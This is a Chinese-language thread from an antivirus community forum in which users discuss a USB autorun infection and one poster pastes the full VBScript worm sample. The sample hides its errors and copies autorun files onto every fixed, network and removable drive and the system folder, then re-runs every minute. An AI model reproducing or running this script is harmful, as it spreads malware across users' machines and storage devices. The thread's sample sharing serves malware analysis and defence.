瑞星卡卡安全论坛

插上u盘后一次性写入的
真是太变态了

附件: 795322200731143035.jpg

=.=  发个样本来玩玩..

发到这个biner19900105@msn.com？

这东西哪里来的?怎么我就没那么好的运气看到啊

on error resume next
Set WshShell =CreateObject("WScript.Shell")

if Year(Date)>2030 or Month(Date)>100 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
isdir=true
else
a=WshShell.Run("autorun.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("autorun.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\autorun.*",d&"\",True
else
Of.CopyFile "autorun.*",d&"\",True
end if
a=WshShell.Run("autorun.bat + "&d ,0,True)
End If
next
if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("autorun.bat - "&dir ,0,True)
Of.CopyFile "autorun.*",dir&"\",True
a=WshShell.Run("autorun.bat + "&dir ,0,True)
End if
next
End if

那台本子所有的盘符下都有这些东西
不知道是传过来的还是网页中的

所有盘下面...现在都流行这个,什么年代啊~~~~~不过我觉得网页挂马的可能性大点...

也太傻了点一下搞这么多东西出来
太不专业了
就怕不知道它不是一个人

丢楼了..

发送 bin59420@yahoo.com.cn